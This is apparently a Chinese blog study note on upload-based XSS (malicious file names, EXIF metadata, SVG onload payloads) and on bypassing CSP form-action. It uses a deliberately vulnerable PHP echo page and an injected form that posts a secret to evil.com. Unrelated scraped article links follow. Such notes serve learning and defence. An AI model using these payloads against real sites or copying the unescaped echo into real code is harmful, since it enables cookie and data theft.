xss之上传文件的xss,绕过csp,预警机制
xss
1.XSS姿势——文件上传XSS https://wooyun.x10sec.org/static/drops/tips-14915.html
总结:
1.1.文件名方式,原理:有些文件名可能反应在页面上,带有xss命令的文件可以起到攻击作用
实例:pikachu靶机文件上传后,会有提示文件名上传成功,将文件名修改成xss命令
1.2.metadata 原理:exiftool修改图片的-artlist属性引起xss
想象:上传图片后,显示图片的artlist属性,通过exiftool修改图片的属性
1.3.content 原理:可以上传svg文件的格式,内容带有<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>,上传后访问svg文件触发xss
实例:访问http://127.0.0.1/test.svg触发
1.4.sorce
1.touch xss.gif
2.vim xss.gif
3.<svg xmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/>
4.file xss.gif
5.访问
2.利用反射型XSS二次注入绕过CSP form-action限制
步骤
2.1 D:\phpStudy\WWW\xss\secret.php 页面代码如下:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.2 无csp,攻击者通过xss修改action
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
<script>
var form1=document.getElementsByTagName('form');
form1[0].setAttribute("action","http://www.baidu.com")
new_action=form1[0].getAttribute("action");
alert(new_action);
</script>
</body>
</html>
将http://www.baidu.com修改成攻击页面可以获取cookie信息和获取隐私信息如xiao_mi_mi
2.3 使用csp白名单策略+限制外部js的加载+不允许内联脚本
csp的配置:
Apache服务
在VirtualHost的httpd.conf文件或者.htaccess文件中加入以下代码
Header set Content-Security-Policy "default-src 'self';"
Nginx
在 server {}对象块中添加如下代码
add_header Content-Security-Policy "default-src 'self';";
IIS
web.config:中添加
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'self';" />
</customHeaders>
</httpProtocol>
</system.webServer>
2.4 攻击者修改页面
通过xss引入以下语句:
<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>
测试这个页面,第二个form不起作用,此时提交action=www.baidu.com:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<div><form action='http://www.baidu.com'></div>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.5 CSP加上了form-action来限定form标签的action指向
from-action限制方法:
Content-Security-Policy: form-action <source> <source>
2.6 攻击者修改页面
攻击者通过几个<input>最终绕过csp
3 xss报警机制
3.1分前端数据库端后端来划分,
3.2 可以使用csp来防御
3.3 xss危害相对较少,数量可能多
xss之上传文件的xss,绕过csp,预警机制的更多相关文章
- FTP文件操作之上传文件
上传文件是一个比较常用的功能,前段时间就做了一个上传图片的模块.开始采用的是共享文件夹的方式,后来发现这种方法不太好.于是果断将其毙掉,后来选择采用FTP的方式进行上传.个人感觉FTP的方式还是比较好 ...
- 从零开始学安全(四十)●上传文件MIME类型绕过漏洞防御
MIME检测原理 服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的. php示例代码: if($_FILES['userfile']['type' ...
- react native 之上传文件
最近遇到react native中需要上传一些图片到后台.期间,找了一些第三方上传插件,感觉不太好用,要么只支持一个平台,要么会对其他第三方造成影响,实在无奈.只能直接使用fetch上传.其中上传文件 ...
- 转:python webdriver API 之上传文件
文件上传操作也比较常见功能之一,上传功能操作 webdriver 并没有提供对应的方法,关键上传文件的思路.上传过程一般要打开一个系统的 window 窗口,从窗口选择本地文件添加.所以,一般会卡在如 ...
- Django之上传文件
使用Form表单上传文件 upload.html <!DOCTYPE html> <html lang="en"> <head> <met ...
- Android WebView那些坑之上传文件
最近公司项目需要在WebView上调用手机系统相册来上传图片,开发过程中发现在很多机器上无法正常唤起系统相册来选择图片. 解决问题之前我们先来说说WebView上传文件的逻辑:当我们在Web页面上点击 ...
- Flask入门之上传文件到服务器
今天要做一个简单的页面,可以实现将文件 上传到服务器(保存在指定文件夹) #Sample.py # coding:utf-8 from flask import Flask,render_templa ...
- LoadRunner开发ftp协议接口之上传文件脚本
Action() { //建立一个ftp对象 FTP ftp1=0; //建立FTP连接并登录 ftp_logon_ex(&ftp1,"ftpLogon", "U ...
- jQuery插件之上传文件ajaxfileupload.js源码与使用
在网页应用中,一般会用到上传文件或者图片什么的到服务器,那么可以用ajaxfileupload.js,但是在使用ajaxfileupload.js时候,当服务器返回的json带有&符号的时候, ...
随机推荐
- Vue.js—60分钟快速入门
本文摘自:http://www.cnblogs.com/keepfool/p/5619070.html Vue.js是当下很火的一个JavaScript MVVM库,它是以数据驱动和组件化的思想构建的 ...
- Shuffle 机制
1. 概述 Map 方法之后,Reduce 方法之前的数据处理过程称之为 Shuffle. 2. Partition 分区 需求:要求将统计结果按照条件输出到不同文件中(分区).比如:将统计结果按照手 ...
- 处理人际关系的5大原则zz
人际关系题是结构化面试当中重要的题型之一,人们常用两个“70%”来形容人际关系的重要性: 人际关系题主要考察考生不同人际关系间的适应性.人际合作的主动性.处理人际关系的原则性和灵活性以及对组织中权属关 ...
- java中内存泄露有几种?如何分析泄露原因
一.Java内存回收机制 不论哪种语言的内存分配方式,都需要返回所分配内存的真实地址,也就是返回一个指针到内存块的首地址.Java中对象是采用new或者反射的方法创建的,这些对象的创建都是在堆(Hea ...
- javaIO -- File源码
一.简介 文件和目录路径名的抽象表示. 用户界面和操作系统使用依赖于系统的路径名字符串命名文件和目录. 这个类提供了一个抽象的,独立于系统的层次化路径名的视图. 二.代码 (一).属性详情 //平台的 ...
- Vue.js 父子组件相互传递数据
父传子 : 子组件接收变量名=父组件传递的数据 如::f-cmsg="fmsg" 注意驼峰问题 子传父:@子组件关联的方法名 = 父组件接受的方法名 如:@func=" ...
- PAT(B)1003 我要通过!(Java)
1003 我要通过! 题目 判断字符串是否符合给定的规则.更多内容点击标题. 参考博客 ValarMorghulis的博客 分析 规律:num_a * num_b = num_c.字符串a中字 ...
- diy操作系统 0:万事开头难
许久之前就有写一个tiny的操作系统的打算,但时间和精力关系,想法一直没有成为最终的代码.操作系统的构建本身是个系统工程,门槛较高,需要多方面的知识,往往几行代码背后是厚厚的几本书才能说清 ...
- CAS 5.x搭建常见问题系列(3).Failure to find org.apereo.cas:cas-server-support-pm-jdbc:jar:5.1.9
错误内容 cas overlay的pom.xml增加了cas-server-support-pm-jdbc.jary依赖后, 打包(mvn package)出现如下的报错 D:\casoverlay\ ...
- C#的@标志的使用情况—本篇blog采用Markdown编写
@(C# 参考--出自官方文档入口) 1.使 C# 关键字用作标识符. @ 字符可作为代码元素的前缀,编译器将把此代码元素解释为标识符而非 C# 关键字. 下面的示例使用 @ 字符定义其在 for 循 ...